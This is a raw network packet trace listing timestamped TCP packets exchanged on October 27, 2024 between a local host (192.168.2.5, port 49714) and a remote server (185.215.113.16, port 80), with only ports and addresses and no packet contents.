Oct 27, 2024 17:17:27.549335003 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.549386978 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.549417019 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.549601078 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.549623013 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.549793959 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.553040028 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.553143024 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.553175926 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.553199053 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.553210020 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.553242922 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.553271055 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.554172039 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.554204941 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.554238081 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.554275036 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.554322004 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.554465055 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.554516077 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.554548979 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.554580927 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.554611921 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.554615974 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.554646015 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.587089062 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.587239027 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.587271929 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.587305069 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.587354898 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.587399960 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.587476969 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.587546110 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.627043009 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627073050 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627090931 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627104998 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627120972 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627135992 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627151966 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627187014 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627201080 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627216101 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627230883 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627245903 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627262115 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627266884 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.627278090 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627293110 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627304077 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.627326965 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627346039 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627360106 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.627361059 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627376080 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.627377033 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627397060 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627413034 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627424002 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.627461910 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627480030 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627491951 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.627492905 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627510071 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627526045 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.627537012 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.627537012 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.628642082 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.628665924 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.628669977 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.628680944 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.628727913 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.628741980 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.628752947 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.628756046 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.628782034 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.628851891 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.628866911 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.628880978 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.628880978 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.628895998 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.628911018 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.628922939 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.628926992 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.628950119 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.628978968 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.628993988 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.629005909 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.629008055 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.629023075 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.629038095 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.629045010 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.629061937 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.629079103 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.629085064 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.629093885 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.629112005 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.629121065 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.629123926 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.629132032 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.629368067 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.629384041 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.629398108 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.629398108 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.629422903 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.629455090 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.629470110 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.629483938 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.629498959 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.629594088 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.629609108 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.629621983 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.629623890 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.629638910 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.629653931 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.629664898 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.629669905 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.629694939 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.631381989 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.659148932 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659178019 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659193039 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659208059 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659224033 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659239054 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659264088 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659277916 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659300089 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.659305096 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659337997 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659358978 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.659358978 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.659360886 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659385920 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659400940 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659415960 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.659418106 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659430981 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659446001 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659456968 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.659457922 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659481049 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.659481049 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659496069 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659506083 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.659507990 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659523964 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659535885 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659550905 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.659550905 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659574986 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.659579992 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659595013 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659606934 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.659610033 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659749985 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.659806967 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659821987 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659843922 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659857988 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659868002 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.659873962 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659889936 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659898043 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.659904003 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.659914970 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.663381100 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.666732073 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.666749001 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.666769028 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.666779995 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.666852951 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.666852951 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.670408010 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.670434952 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.670450926 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.670465946 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.670481920 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.670495033 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.670581102 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.671395063 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.671461105 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.671474934 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.671489000 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.671504021 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.671554089 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.671554089 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.671688080 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.671761990 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.671777010 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.671816111 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.671830893 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.671844006 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.671869993 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.675388098 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.704679012 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.704710960 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.704725981 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.704750061 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.704766989 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.704999924 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.744471073 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744501114 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744515896 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744533062 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744555950 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744569063 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744581938 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744596958 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744610071 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744626045 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744642019 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744657993 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744699955 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744715929 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744735003 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.744740009 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744755030 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744765043 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.744771957 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744796991 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.744801998 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744817019 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744836092 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.744891882 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744906902 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744919062 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.744930029 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744945049 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744956017 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.744960070 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744971991 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744987965 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.744993925 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.745003939 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745013952 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.745019913 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745034933 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745090961 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.745090961 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.745102882 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745126963 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745141983 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745203972 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745222092 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745237112 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745251894 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745261908 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.745290041 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745306969 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745318890 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.745322943 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745337009 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745346069 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.745374918 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745388985 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745400906 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.745537043 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745552063 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745564938 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.745567083 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745582104 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745598078 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745611906 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.745632887 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745647907 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745661020 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.745661974 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745676994 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745682955 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.745692968 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745707989 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745733023 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745747089 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745755911 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.745767117 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.745769024 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745783091 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.745803118 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.745990038 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.746021032 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.746033907 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.746048927 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.747145891 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.747189045 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.747189999 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.747215986 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.747231960 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.747237921 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.747256041 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.747276068 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.747298956 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.747323036 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.747342110 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.747348070 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.747383118 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.747390032 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.747406006 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.747420073 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.747430086 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.747437000 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.751379013 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.776401997 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.776442051 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.776456118 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.776470900 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.776485920 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.776509047 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.776520967 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.776540995 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.776565075 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.776581049 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.776596069 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.776603937 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.776619911 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.776626110 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.776645899 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.776660919 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.776669025 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.776674986 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.776690960 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.776699066 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.776743889 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.776757956 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.776771069 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.776779890 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.776792049 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.776804924 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.776813030 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.776829004 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.776839972 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.776844025 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.776869059 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.776963949 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.777019024 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.777041912 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.777057886 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.777066946 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.777072906 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.777096987 CET	49714	80	192.168.2.5	185.215.113.16
